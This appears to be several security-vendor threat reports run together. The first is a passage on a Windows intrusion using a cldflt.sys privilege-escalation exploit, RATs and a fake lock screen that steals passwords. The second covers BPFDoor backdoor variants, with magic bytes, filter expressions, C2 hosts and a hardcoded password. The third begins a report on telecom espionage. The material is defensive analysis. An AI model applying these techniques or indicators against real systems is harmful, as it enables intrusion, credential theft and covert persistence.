Sync provider registration. The exploit registers itself as "PLURIBUS" with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.
WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls: NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system
Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.
Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.
Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.
Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.
To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.
Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.
⠀
When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread's token.
After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload.
Figure 9: Helper thread execution after privilege escalation succeeds.
⠀
Stage 4: Post-exploitation
The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.
Figure 11: Powershell command returns the total number of domain user accounts.
Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.
Expanding the foothold
Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:
Microsoft5237.py: HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.
Dell508.py: Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.
PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker's tools (RDP, browsers, Nmap) through victim into internal network.
Stage 5: The lock screen that wasn't
Roughly two hours after privilege escalation, the attacker deployed a second DLL.
rundll32.exe com6848.dll,open e8vy[REDACTED]
Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.
The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.
Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt
What the credential unlocked
Wait, didn't the operator already have SYSTEM privileges? Why bother with a fake lock screen?
By this point, indeed the operator had SYSTEM-level access on the host. What they didn't have, though, was the user's domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can't access user-specific resources, such as file shares requiring the user's permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.
The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.
The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods.
Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.
MITRE ATT&CK techniques
TECHNIQUE ID
TECHNIQUE NAME
T1566.003
Phishing: Spearphishing via Service
T1204.002
User Execution: Malicious File
T1059.001
Command & Scripting: PowerShell
T1059.006
Command & Scripting: Python
T1218.011
System Binary Proxy Execution: Rundll32
T1106
Native API
T1053.005
Scheduled Task/Job: Scheduled Task
T1068
Exploitation for Privilege Escalation
T1134.001
Access Token Manipulation: Token Impersonation
T1134.004
Access Token Manipulation: Parent PID Spoofing
T1562.001
Impair Defenses
T1027
Obfuscated Files or Information
T1027.002
Software Packing
T1027.009
Embedded Payloads
T1620
Reflective Code Loading
T1036.005
Masquerading
T1140
Deobfuscate/Decode Files or Information
T1112
Modify Registry
T1055
Process Injection
T1056.002
Input Capture: GUI Input Capture
T1558.003
Steal or Forge Kerberos Tickets: Kerberoasting
T1003.001
OS Credential Dumping: LSASS Memory
T1003
OS Credential Dumping
T1018
Remote System Discovery
T1087.002
Account Discovery: Domain Account
T1082
System Information Discovery
T1016
System Network Configuration Discovery
T1033
System Owner/User Discovery
T1083
File and Directory Discovery
T1021.006
Remote Services: WinRM
T1021.001
Remote Services: RDP
T1570
Lateral Tool Transfer
T1071.001
Application Layer Protocol: Web Protocols
T1095
Non-Application Layer Protocol
T1090.001
Proxy: Internal Proxy
T1090.002
Proxy: External Proxy
T1572
Protocol Tunneling
T1573
Encrypted Channel
T1132.001
Data Encoding: Standard Encoding
T1568
Dynamic Resolution
T1567.002
Exfiltration Over Web Service
T1041
Exfiltration Over C2 Channel
Indicators of compromise (IOCs)
Category
Indicator Type
Value
Attacker Infrastructure
Rogue M365 Tenant (Sender)
itsupport@UCICasociacion.onmicrosoft.com
Attacker Infrastructure
Tenant GUID
cdc15b4d-6fd6-4e90-9ee9-357fea475047
Attacker Infrastructure
Client Hostnames
RICARDOGARC05B2, KALI-LINUX-2025-2
Attacker Infrastructure
Initial Access Vector
MS Teams external chat (Impersonating "IT Support")
Fake lock screens can harvest credentials even with SYSTEM access.
WebDAV API abuse provides stealthy credential validation.
It took two days to go from "Hi, this is IT support" to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.
What particularly stands out is how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.
Advanced persistent threats (APTs) are constantly and consistently changing tactics as network defenders plug holes in defenses. Static indicators of compromise (IoCs) for the BPFDoor have been widely deployed, forcing threat actors to get creative in their use of this particular strain of malware. What they came up with is ingenious.
New research from Rapid7 Labs has uncovered undocumented features leading to the discovery of 7 new BPFDoor variants: a stealthy kernel-level backdoor that uses Berkeley Packet Filters (BPFs) to inspect traffic from right inside the operating system kernel. This essentially creates a silent trapdoor that can be activated by a threat actor once a “magic packet” is tunneled via stateless protocols. The malware is then able to perfectly blend into the target environment, establishing nearly undetectable persistence in global telecom infrastructure.
Our latest research continues the narrative established in our blogBPFdoor in Telecom Networks: Sleeper Cells in the Backbone. It involves the analysis of nearly 300 samples and identifies two primary new variants: httpShell and icmpShell. These variants represent a significant leap in operational security, utilizing stateless C2 routing and ICMP relay to bypass multi-million dollar security stacks.
Rapid7 detection and response strategy:
Rapid7 is actively tracking these variants to ensure our customers remain protected against this evolving threat through the following:
Intelligence Hub:Customers with access to Rapid7’s Intelligence Hub are receiving continuous updates, including the latest intelligence, YARA rules, and Suricata detection rulesets.
Actionable guidance:We have released a specialized triage script (rapid7_bpfdoor_check.sh) designed to identify both legacy and modern BPFDoor variants by inspecting active BPF filters and validating masqueraded processes.
Detection engineering: Our detection strategy focuses on structural header anomalies, such as hardcoded ICMP sequence numbers and invalid protocol codes, rather than transient payload content.
The strategic shift: Beyond legacy stealth
While BPFDoor has been active for years, its codebase has evolved significantly. The threat actor continues to incorporate minor features into the original codebase leaked in 2022, resulting in a "messy" but effective toolkit designed to hinder threat hunting. Given the significant code overlap among BPFDoor variants, we focused on the minor, easily overlooked details the TA (threat actor) added to the leaked codebase.
From memory to disk
Historically, BPFDoor was known for appearing "fileless" by executing from /dev/shm and deleting itself. However, modern endpoint detection and response (EDR) tools now flag processes running from deleted inodes in temporary filesystems. Recognizing this, the developers of the httpShell variant have eliminated the /dev/shm drop. The malware now resides on disk, using a single, hard-coded process name to blend in as a normal system daemon.
Technical analysis: httpShell vs. icmpShell
Our research unraveled several undocumented features (some of them werenot documented for nearly 5 years), leading to the discovery of two primary variants: httpShell and icmpShell.
httpShell: The "Magic Ruler" of encapsulated traffic
The httpShell variant leverages kernel-level packet filters to perform validation across both IPv4 and IPv6 traffic. It uses HTTP-tunneling to extract hidden commands and features a newly discovered "Hidden IP" (HIP) field for dynamic routing.
Kernel-level decapsulation: By binding to all interfaces simultaneously, the malware forces the target’s own kernel to decapsulate complex carrier-grade tunnels like GRE or GTP. This allows the BPF filter to easily catch magic bytes hidden inside the inner packets.
The offset evasion: To survive enterprise proxies and WAFs that shift data positions, attackers use a mathematical padding scheme. They ensure their "9999" marker always lands exactly at the 26th byte offset of the inspected data, allowing the trigger to survive proxy headers.
IPv6 limitations: The filter assumes the UDP/TCP header starts exactly at byte 40 (standard empty IPv6 header). If an attacker includes IPv6 "Extension Headers," the payload is pushed further down, and the malware fails to wake up.
icmpShell: The dynamic PTY tunnel
Designed for heavily restricted environments, icmpShell tunnels interactive sessions entirely over ICMP.
PID-bound mutation: This variant injects a dynamic BPF filter into the kernel that binds specifically to the malware's runtime Process ID (PID). Because the PID changes with every execution, the required "magic knock" signature mutates dynamically, rendering static firewall rules useless.
Multi-mode execution: Beyond basic shells, it implements bidirectional ICMP tunnels, UDP and ICMP “hole-punching”, and RC4 encryption.
Both variants support relay over ICMP.
Stateless C2 and the "Hidden IP"
Figure 1: New magic packet structure
⠀
The discovery of the magic_packet_v2 struct featuring the HIP (hidden ip field) used for relay purposes highlights the malware's operational maturity.
Dynamic C2 routing
One of the most elegant features is the use of a -1 flag (255.255.255.255) in the IP field of the magic packet structure.
Mechanism: If the flag is set, the malware ignores hardcoded IPs and sends its reverse shell back to the source IP found in the headers of the packet that woke it up.
Strategic purpose: This makes the attacker's controller completely stateless. Attackers can deploy from behind NAT or VPNs without needing to discover or hardcode their current external IP into the magic payload.
ICMP lateral movement (the relay)
if (auth(mpacket->pass) || mpacket->hip == -1 || !mpacket->hip)
When the above "Gatekeeper Condition" (authentication) is false, the malware transforms the infected machine into an invisible network router.
Figure 2: ICMP relay using the HIP field
⠀
The process: It extracts an internal target IP from the HIP field, rewrites the trigger flag to ICMP magic bytes (0x5572), and fires a crafted ICMP Echo Request at the internal target.
Loop prevention: The malware wipes the hop IP to -1 to stop the next BPFDoor instance from forwarding the packet again.
Figure 3: icmpShell main logic
⠀
Rapid7 set up a playground lab to test icmpShell. For this scenario, two docker containers simulating an nginx edge proxy and a victim HSS infected with icmpShell have been used, while the attacker executes the trigger sending the magic packet via the newly discovered Rapid7 BPFDoor controller. To interact with the shell we developed the python script icmpshell.py to ensure RC4 state is consistent across echo requests received on the attacker’s side, filtering out also heartbeat echo requests featuring an invalid ICMP code 1.
In the bottom-right pane of the video below, we see the icmpShell variant being run with strace to debug its behavior. The top-left shows the controller triggering the backdoor after entering the new “icmp” password and crafting a magic packet over HTTPS (we will break down HTTPS tunneling and the new Rapid7 controller in a future blog) using magic bytes 0x5293. On the bottom-left pane the icmpshell.py runs to perform the ICMP handshake and handle shell traffic. The connection over ICMP established between the attacker machine (REMnux) and the victim HSS leverages a second BPF filter (13-BPF instructions), installed by the backdoor that uses the reverse shell PID as a fixed ICMP ID, ensuring the capture of shell-related packets. On the upper-right pane, an ICMP tcpdump capture is run.
⠀
⠀
The video ends showing that the backdoor exits after 12s of attacker inactivity, killing the connection. The tcpdump capture shows attacker traffic being sent in cleartext prepending ‘X:’ to commands while the victim response is RC4 encrypted with the key “icmp”.
Below, we can observe the tcpdump screens highlighting ICMP handshake, shell’s data encryption, attacker’s command and the usage of 1234 ICMP sequence number hardcoded in the backdoor.
Figure 6: attacker sending cleartext command over ICMP prepending “X:”
⠀
Figure 7 below shows the heartbeat payload ignored by icmpshell.pyacting as an ICMP “hole-punching” to keep the firewall state table active.
Figure 7: ICMP “hole-punching” heartbeat hardcoded in icmpShell
Rapid7 variants
The research of new variants is still ongoing. At the time of writing, Rapid7 identified seven new variants featuring new magic bytes and active C2 beaconing summarized below.
Samples 2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c and de472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba, which we classify as R7 variant ‘F’, increase stealthiness by hiding under /var/run/user/0. By avoiding the usual chmod command, the attacker ensures that no "change mode" event is logged by the kernel's audit system (auditd). Since /run is rarely mounted with the noexec flag (unlike /tmp), the malware bypasses the most common local hardening measure.
⠀
Figure 8: BPFDoor running from /var/run/user/0
⠀
Most samples simply redirect output to /dev/null. This variant goes further by performing a total FD (File Descriptor) wipe. Note the recurring timestomping routine following the old known anti-forensics technique.
Figure 9: Timestomping and full fds wipe
⠀
R7 variant ‘F’ exhibits a 26-BPF instruction filter featuring new magic bytes. Rapid7 developed a tool to extract BPF bytecode logic and identify variant-specific features. Three samples employed previously unknown magic bytes. Below is the output summarizing the filtering logic (Figure 10: 2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c
The BPF filtering can be expressed using libcap syntax:
udp[8:2] == 0x3182 or (icmp[8:2] == 0x1051 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2] == 0x3321
⠀
Figure 11: Rapid7 variant F new magic bytes
⠀
udp[8:2] == 0x2048 or (icmp[8:2] == 0x1155 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2] == 0x5433
Earlier versions used SOCK_RAW when creating the AF_PACKET socket. When using SOCK_RAW, the kernel delivers the entire packet, including the link-layer header, while with SOCK_DGRAM the Ethernet header is discarded. This change directly impacts the way packets are parsed.
Multi-protocol parallel sniffing
One new variant sample, which we named variant ‘G’, utilizes a multi-threaded architecture to ensure triple-redundant capture of "wake-up" packets. The malware spawns three independent threads, each responsible for monitoring a specific transport protocol at the raw IP layer.
This is achieved by invoking the socket() system call with protocol-specific parameters for TCP, UDP, and ICMP:
TCP:socket(AF_INET, SOCK_RAW, IPPROTO_TCP)
UDP:socket(AF_INET, SOCK_RAW, IPPROTO_UDP)
ICMP:socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
The implant achieves simultaneous trigger detection across three protocols by deploying identical BPF filters on protocol-specific raw sockets. This functionality is implemented using three separate threads for protocol capture. This design is crucial: By dedicating a thread to each protocol, the malware prevents high-volume traffic in one protocol from overloading the sniffer and causing it to miss a "magic" trigger arriving via a less-trafficked protocol.
Beyond preventing packet loss, this parallel architecture provides C2 resiliency via built-in fallback channels. Because the BPF filters concurrently sniff TCP, UDP, and ICMP, the threat actor becomes highly resilient to sudden perimeter security changes. If a network defender updates an egress firewall to aggressively block anomalous ICMP or UDP traffic, the attacker can seamlessly switch to sending magic triggers over TCP.
Some samples (Figure 12: ed768dd922742a597257ad684820d7562bb6be215710ec614bd041a22f3d6863) exhibit the usage of threads and a new mutex/process name being spoofed like “hpasmlited”:
Figure 12: hpasmlited process name spoofing
⠀
Thenstart_routine, sub_4089BB, sub_4084F7proceeds with the old codebase installing the same BPF filter shared among TM variant D samples; this variant supports ICMP relay.
Below is shown the creation of three different kinds of sockets filtering traffic by TCP, UDP, and ICMP:
Figure 13: Creation of 3 sockets handling TCP, UDP, and ICMP
⠀
Note that a0t is an array containing three BPF filters, each of them containing the same229instructions found in TM variant D.
HPE ProLiant-tuned variant: Living off the land
One variant (Figure 14: 9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82)was specifically tailored for HPE ProLiant servers, demonstrating a "living off the land" approach through binary masquerading.
Figure 14: HPE Insight Management Agents spoofing
⠀
The process name is set to cmathreshd, with realistic flags like -p 5 -s OK, directly impersonating the HPE Insight Management Agents. The malware checks for /var/run/cma.lock. If found, it kills the legitimate HP agent and takes its place. This displacement prevents resource conflicts that would otherwise alert system administrators. The call to unsetenv("LD_PRELOAD") is designed to disable user-mode security hooks (such as local EDRs or rootkit hunters) that monitor system calls. This specific masquerading tactic demonstrates deep environmental awareness. The threat actors recognize they are operating on physical, bare-metal HPE hardware commonly deployed in 4G and 5G core and edge systems (such as Ericsson-style architectures).
The active beacon: Guaranteed persistence
Rapid7 variant ‘H’ contrasts with the classic, stealthy BPFDoor sniffer (which generates no outbound traffic). The beacon is proactive and provides guaranteed access by bypassing stateful firewalls that only permit outbound connections. It achieves this via a continuous heartbeat mechanism that resolves dynamic DNS domains, such as ntpussl.instanthq.com and ntpupdate.ddnsgeek.com. By masquerading as Network Time Protocol (NTP) over SSL, the threat actors seamlessly encapsulate their encrypted C2 sessions within what appears to be routine time synchronization or IoT telemetry. This 'hide in plain sight' tactic allows the active beacon to blend into the baseline network noise and establish a direct, unauthenticated connection on port 443 using the old-fashioned statically linked OpenSSL library and RC4-MD5 ciphersuite.
Heartbeat mechanism:The function actively attempts to resolve the hardcoded C2 domain ntpussl.instanthq.com using the gethostbyname() function. It runs in an infinite loop, attempting to connect if the domain resolves. If the connection fails, it sleeps for a random interval (1 to 2.5 minutes) before trying again — this acts as the Heartbeat.
Masquerading: The domain ntpussl.instanthq.com mimics NTP (Network Time Protocol) over SSL, blending into standard time-sync or certificate update traffic.
Activation kill switch:A "Kill Switch" or "Activation" check verifies the IP returned by the DNS query: if ( !strstr(v1, "127.0.0.1") ).
Direct connection: The malware connects to the resolved IP on port 443 (0x1BB) without requiring authentication.
Figure 15: Rapid7 variant H active beaconing (sample spoofing the HPEProliant cmathreshd)
⠀
Stack strings were employed to bypass basic static signature detection:
By encapsulating encrypted shell sessions within what appears to be routine time synchronization or IoT telemetry, the threat actors effectively bypass standard firewall rules. Below is the list of domains observed being used by Chinese TAs during espionage campaigns:
"Encrypted" Masquerade
Domain: ntpussl[.]instanthq.com
Function & analysis: Encrypted Shell/Tunneling. "ntpussl" recalls an ssl connection with an NTP server. (195b98211d1ce968669a0740ca08d0ddcf03a2df03a47e2e70550f6c002b49e8; 9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82).
"System Update" Disguise
Domain: ntpupdate.ddnsgeek[.]com
Function & analysis: Standard Utility Mimicry. This domain mimics the common ntpdate utility. The use of terms like "geek" or "update" is a social engineering tactic, as security analysts often overlook such domains, assuming they belong to benign OS background processes (ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4).
"Persistence" Disguise
Domain: ntpupdate.ygto[.]com
Function & analysis: Rapid IP Rotation. This domain is employed for dynamic DNS updates, enabling rapid IP rotation. If the primary C2 IP address is blocked, the attackers update the DDNS record at ygto.com to maintain command-and-control access.
"IoT/Camera" Disguise
Domain: ntpd.casacam[.]net
Function & analysis: Blending with residential traffic. Masquerades as a time check service for IP cameras. Since casacam.net is a legitimate DDNS provider for DVRs, traffic to this domain easily blends into the millions of devices monitored by telecom networks, especially in residential broadband environments.
Note: The domains ntpupdate.ygto[.]com and ntpd.casacam[.]net are involved in generic trojan/spam campaigns.
Rapid7 variants I,J,K and L
Rapid7 variant “I” uses an 11-instruction BPF filter targeting TCP port 9999, enforcing a two-step handshake, requiring firstly new magic bytes (0xA9F205C3) in the tcp payload, secondly the presence of a hardcoded magic password (dP7sRa3XwLm29E). Finally, it extracts the attacker’s IP and port to spawn an unencrypted reverse shell.
Rapid7 assigned icmpShell and httpShell variants the letters J,K respectively while the letter L is reserved for samples exhibiting only the ICMP relay feature. To summarize:
Implementation details: Hijacks a pseudo-terminal (PTY) utilizing fork() and dup2().
Variation: Both
Tactic: Defense Evasion
T1036.004: Masquerading
Implementation details: Alters process arguments to mimic benign daemons like qmgr.
Variation: Both
T1070.003: Clear History
Implementation details: Injects HISTFILE=/dev/null into environment variables.
Variation: Both
T1027: Obfuscated Files Information
Implementation details: Stack strings for passwords and paths prevent static extraction.
Variation: Both
T1564: Hide Artifacts
Implementation details: Uses AF_PACKET sniffing to remain invisible to local netstat/ss.
Variation: Both
Tactic: Persistence
T1205: Traffic Signaling
Implementation details: Employs magic bytes and flags like 0xFFFFFFFF as wake-up triggers.
Variation: Both
Tactic: Command & Control
T1573.001: Symmetric Cryptography
Implementation details: e.g. Enforces the X: plaintext tag and encrypts the underlying PTY output via an RC4 cipher (using the hardcoded ICMP key).
Variation: Both
T1071.001: Application Layer Protocol
Implementation details: Blends in by utilizing formatted HTTP POST requests with hardcoded URIs up to 100-byte hexadecimal bodies.
Variation: httpShell
T1095: Non-App Protocol
Implementation details: Transmits exfiltration via crafted ICMP Echo Requests.
Variation: Both
T1090: Proxy
Implementation details: Uses ICMP relay to bounce traffic through internal segments.
Variation: Both
T1001: Data Obfuscation
Implementation details: icmpShell hides its tracking mechanisms directly inside the network layer headers. By truncating the Linux Process ID (PID) and injecting it into the 16-bit ICMP Identifier field, and hardcoding the ICMP Sequence Number to 1234, it obfuscates its session tracking data as standard network metadata.
Variation: icmpShell
T1572: Protocol Tunneling
Implementation details: ICMP tunneling
Variation: icmpShell
T1090: Proxy
Implementation details: The BPF filter concurrently sniffs TCP, UDP, and ICMP. If one protocol is blocked by egress filtering, the attacker can seamlessly utilize an alternate protocol to trigger the shell without reconfiguring the implant.
Variation: Both
Defensive depth and detection guidance
Detection must shift from looking for payload content to identifying structural anomalies and static protocol markers.
Suricata/NIDS focus: Target the hardcoded 1234 sequence number used in custom functions and the technically invalid ICMP Code 1 injected by the heartbeat thread.
Host monitoring: Monitor for processes whose executable path does not exist on disk and spoofed processes running as root (e.g., zabbix_agentd, dockerd).
Auditd rules: Monitor the creation of AF_PACKET sockets (capturing SOCK_RAW and SOCK_DGRAM) and the setsockopt call used to attach BPF filters.
Rapid7 triage script: Utilize the rapid7_bpfdoor_check.sh script to check for zero-byte mutex files and active BPF filters attached to packet sockets. Get the complete checklist at Rapid7’s github.
Final takeaways
Kernel-level evasion: The shift to SOCK_DGRAM allows the malware to simplify magic packet parsing by letting the host kernel decapsulate tunnels.
Deep-networklateralmovement: The "Hidden IP" field transforms infected machines into invisible network routers for bidirectional ICMP PTY tunnels.
New Variants: the newly identified features in BPFDoor samples highlight how TAs are tailoring and reusing BPFDoor’s code to the target environment. The rapid7 variant H (active beacon) stands out as it tries to blend in with the network traffic contacting fake NTP update servers.
Operational security: The malware can instruct the infected node to spawn a shell to the source of the magic packet using the signed -1, without embedding the C2 or proxy IP in the packet payload. Furthermore, unlike httpShell, the icmpShell is designed to run without requiring live interaction as it terminates itself after 12s of inactivity, demonstrating how surgical and precise the TA intervention is when accessing the core of the backbone, achieving maximum stealthiness.
For an exhaustive deep dive of the assembly code, BPF bytecode, and exact packet structures used by icmpShell and httpShell variants, please refer to our technical whitepaper here. You can also view our on-demand webinar here.
The strategic positioning of covert access within the world’s telecommunication networks
A months-long investigation by Rapid7 Labs has uncovered evidence of an advanced China-nexus threat actor, Red Menshen, placing some of the stealthiest digital sleeper cells the team has ever seen in telecommunications networks. The goal of these campaigns is to carry out high-level espionage, including against government networks.
Telecommunications networks are the central nervous system of the digital world. They carry government communications, coordinate critical industries, and underpin the digital identities of billions of people. When these networks are compromised, the consequences extend far beyond a single provider or region. That level of access is, and should be, a national concern as it compromises not just one company or organization, but the communications of entire populations.
Over the past decade, telecom intrusions have been reported across multiple countries. In several cases, state-backed actors accessed call detail records, monitored sensitive communications, and exploited trusted interconnections between operators. While these incidents often appear isolated, a broader pattern is emerging.
Why telecom networks are strategic espionage targets
Telecommunications infrastructure provides a uniquely valuable strategic positioning.
Modern telecom networks are layered ecosystems composed of routing systems, subscriber management platforms, authentication services, billing systems, roaming databases, and lawful intercept capabilities. These systems rely on specialized signaling protocols such as SS7, Diameter, and SCTP to coordinate identity, mobility, and connectivity across national and international boundaries.
Persistent access within these environments enables far more than a conventional data breach. An adversary positioned inside the telecom core may gain visibility into subscriber identifiers, signaling flows, authentication exchanges, mobility events, and communications metadata. In the most concerning scenarios, this level of access could support long-term intelligence collection, large-scale subscriber tracking, and monitoring of sensitive communications involving high-value geopolitical targets.
Telecommunications networks sit at the intersection of identity, mobility, and global connectivity. Compromise at this layer carries national and international implications.
A structured campaign, not isolated incidents
What looks like discrete breaches increasingly resembles a repeatable campaign model designed to establish persistent access inside telecommunications infrastructure.
Our investigation uncovered a long-term and ongoing operation attributed to a China-nexus threat actor. Rather than conducting short-term intrusion activity, the operators appear focused on long-term positioning by embedding stealthy access mechanisms deep inside telecom and critical environments and maintaining them for extended periods.
In effect, attackers are placing sleeper cells inside the telecom backbone: dormant footholds positioned well in advance of operational use.
Across investigations and public reporting, we observe recurring elements: kernel-level implants, passive backdoors, credential-harvesting utilities, and cross-platform command frameworks. Together, these components form a persistent access layer designed not simply to breach networks, but to inhabit them.
Figure 1: Actors, tools and regions in which specific threat groups target the telecom sector
How BPFdoor enables covert, deep-seated persistence
At the center of this activity is BPFdoor, a stealth Linux backdoor engineered to operate within the operating system kernel.
Unlike conventional malware, BPFdoor does not expose listening ports or maintain visible command-and-control channels. Instead, it abuses Berkeley Packet Filter (BPF) functionality to inspect network traffic directly inside the kernel, activating only when it receives a specifically- crafted trigger packet. There is no persistent listener or obvious beaconing. The result is a hidden trapdoor embedded within the operating system itself.
This approach represents a shift in stealth tradecraft. By positioning below many traditional visibility layers, the implant significantly complicates detection, even when defenders know what to look for.
Our research indicates BPFdoor is not an isolated tool, but part of a broader intrusion model targeting telecom environments at scale.
How attackers gain initial access to telecom environments
These findings reflect a broader evolution in adversary tradecraft. Attackers are embedding implants deeper into the computing stack — targeting operating system kernels and infrastructure platforms rather than relying solely on user-space malware.
Telecom environments — combining bare-metal systems, virtualization layers, high-performance appliances, and containerized 4G/5G core components — provide ideal terrain for low-noise, long-term persistence. By blending into legitimate hardware services and container runtimes, implants can evade traditional endpoint monitoring and remain undetected for extended periods.
For defenders, the implications are significant. Many organizations lack visibility into kernel-level operations, raw packet-filtering behavior, and anomalous high-port network activity on Linux systems. Addressing this threat requires expanding defensive visibility beyond the traditional perimeter to include deeper inspection of operating system behavior and infrastructure layers.
Sharing intelligence responsibly
Our investigation to identify potential victims is ongoing and, where potential compromise has been discovered, we have notified affected parties through relevant authorities or direct communication with our customers.
As part of our responsible research process, we have collaborated with government partners and national CERTs to share findings and indicators associated with this activity. When our analysis identified infrastructure that may have been impacted, we proactively notified the relevant organizations and provided detection guidance to assist with investigation and response while the research was still underway.
Rapid7 Intelligence Hub customers have access to the full technical details and indicators of compromise within the platform, including Surricata rules. Those rules are also available through AWS Marketplace, where we offer our curated AWS firewall rule sets.
Technical analysis
The sections that follow examine how modern telecommunications networks are structured, how initial access is established, and how BPFdoor and related tooling enable infrastructure-level persistence inside the telecom backbone.
Modern telecom network structure
To understand why telecom environments are such attractive strategic targets, it helps to visualize their layered architecture (Figure 2). At the outer edge sit customer-facing services and access infrastructure: mobile base stations (RAN), fiber aggregation routers, broadband gateways, DNS services, SMS-controllers, roaming gateways, security appliances like firewalls, proxies, VPNs, and internet peering points. These edge systems connect into the operator’s IP core and transport backbone, where high-capacity routers and switches move massive volumes of voice, data, and signaling traffic across regions and international borders.
Figure 2: Simplified version of a telecom provider’s network
⠀
Deeper inside lies the control plane, the heart of the telecom network, built around subscriber management systems such as HLR/HSS or UDM, authentication platforms (AuC), policy control functions, billing systems, lawful intercept platforms, and roaming databases. These systems communicate using specialized telecom signaling protocols such as SS7, Diameter, and increasingly SCTP-based signaling for LTE and 5G core components. At the foundation, much of this infrastructure ultimately runs on hardened, but often standard, Linux or BSD-based bare-metal servers, virtualization stacks, and high-performance network appliances. When an adversary implants a persistent backdoor at the kernel level within these environments, they are not simply compromising a server, they are positioning themselves adjacent to subscriber data, signaling flows, and the mechanisms that authenticate and route national and international communications.
Initial access
Telecom intrusions rarely begin deep inside the core. Instead, attackers focus on exposed edge services and internet-facing infrastructure. Techniques such as exploitation of public-facing applications (T1190) and abuse of valid accounts (T1078) are repeatedly observed. Devices commonly targeted include: Ivanti Connect Secure VPN appliances, Cisco IOS and JunOS network devices, Fortinet firewalls, VMware ESXi hosts, Palo Alto appliances, and even web-facing platforms like Apache Struts. These systems sit at the boundary between external traffic and internal telecom environments, making them high-value entry points. Once compromised, they provide authenticated pathways into the provider’s network, often without triggering traditional endpoint detection mechanisms.
Let’s highlight some of the tools we observed during initial access and attempt to get more credentials for lateral movement.
CrossC2
